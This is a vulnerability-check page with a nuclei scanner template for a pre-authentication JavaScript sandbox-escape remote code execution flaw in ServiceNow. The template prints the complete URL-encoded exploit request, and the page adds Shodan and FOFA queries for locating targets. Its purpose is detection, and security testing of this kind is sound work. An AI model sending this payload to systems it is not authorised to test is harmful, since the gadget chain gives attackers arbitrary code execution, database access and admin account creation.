ServiceNow AI Platform - Pre-Auth JavaScript Sandbox Escape RCE

criticalseverity

9.5CVSS score

1.4%likelihood of exploitation, next 30 days

73%of all CVEs are less likely

Readycheck to confirm it

ServiceNow AI Platform (Brazil, Australia, Zurich, and Yokohama releases before patching) contains a pre-authentication remote code execution vulnerability. The /assessment_thanks.do endpoint passes the sysparm_assessable_type parameter into GlideRecord's addQuery(), which evaluates "javascript:" prefixed values as JavaScript in a restricted script sandbox. A sandbox escape gadget using Object.defineProperty and Class.create.constructor chains through the gs.include('ItemViewElementsProvider') path to invoke Function(code)(), bypassing the sandbox and executing arbitrary GlideController code. Actively exploited in the wild since July 2026.

Impact

Unauthenticated attackers can execute arbitrary code within the ServiceNow platform, access all database tables, create administrator accounts, and execute shell commands on connected MID proxy servers that sit within corporate internal networks.

Fix

Apply the latest security updates or upgrade to the patched release provided by ServiceNow.

How to confirm it

Send: GET {{BaseURL}}/login.do
Positive when: contains "servicenow" or "glide" or "sysparm"
Send: GET /assessment_thanks.do?sysparm_assessable_type=javascript%3AObject.defineProperty(Object%2C%27clone%27%2C%7Bvalue%3AClass.create.constructor%7D)%3BObject.de…
Positive when: contains "998001" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2026-6875 -u <target>

The full check

id: CVE-2026-6875

info:
  name: ServiceNow AI Platform - Pre-Auth JavaScript Sandbox Escape RCE
  author: pdteam,DhiyaneshDk
  severity: critical
  description: |
    ServiceNow AI Platform (Brazil, Australia, Zurich, and Yokohama releases before patching) contains a pre-authentication remote code execution vulnerability. The /assessment_thanks.do endpoint passes the sysparm_assessable_type parameter into GlideRecord's addQuery(), which evaluates "javascript:" prefixed values as JavaScript in a restricted script sandbox. A sandbox escape gadget using Object.defineProperty and Class.create.constructor chains through the gs.include('ItemViewElementsProvider') path to invoke Function(code)(), bypassing the sandbox and executing arbitrary GlideController code. Actively exploited in the wild since July 2026.
  impact: |
    Unauthenticated attackers can execute arbitrary code within the ServiceNow platform, access all database tables, create administrator accounts, and execute shell commands on connected MID proxy servers that sit within corporate internal networks.
  remediation: Apply the latest security updates or upgrade to the patched release provided by ServiceNow.
  reference:
    - https://slcyber.io/research-center/smashing-the-servicenow-sandbox-pre-authentication-rce/
    - https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB3137947
    - https://nvd.nist.gov/vuln/detail/CVE-2026-6875
    - https://www.bleepingcomputer.com/news/security/critical-servicenow-code-execution-flaw-now-exploited-in-attacks/
    - https://github.com/tc4dy/CVE-2026-6875-PoC-Exploit
  classification:
    cve-id: CVE-2026-6875
    cwe-id: CWE-94
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.5
    epss-score: 0.01426
    epss-percentile: 0.73163
  metadata:
    verified: true
    max-request: 2
    vendor: servicenow
    product: servicenow
    shodan-query:
      - http.favicon.hash:"1701804003"
      - http.title:"servicenow"
    fofa-query:
      - icon_hash=1701804003
      - title="servicenow"
    google-query: intitle:"servicenow"
  tags: cve,cve2026,servicenow,rce,sandbox-escape,js-injection,vkev

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/login.do"

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: word
        part: body
        words:
          - "servicenow"
          - "glide"
          - "sysparm"
        condition: or
        case-insensitive: true
        internal: true

  - raw:
      - |
        GET /assessment_thanks.do?sysparm_assessable_type=javascript%3AObject.defineProperty(Object%2C%27clone%27%2C%7Bvalue%3AClass.create.constructor%7D)%3BObject.defineProperty(AbstractAjaxProcessor%2C%27prototype%27%2C%7Bvalue%3A%22GlideController().evaluateAsObject(%27gs.addInfoMessage(999*999)%27)%22%7D)%3Bgs.include(%27ItemViewElementsProvider%27)%3BItemViewElementsProvider.prototype() HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "998001"

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from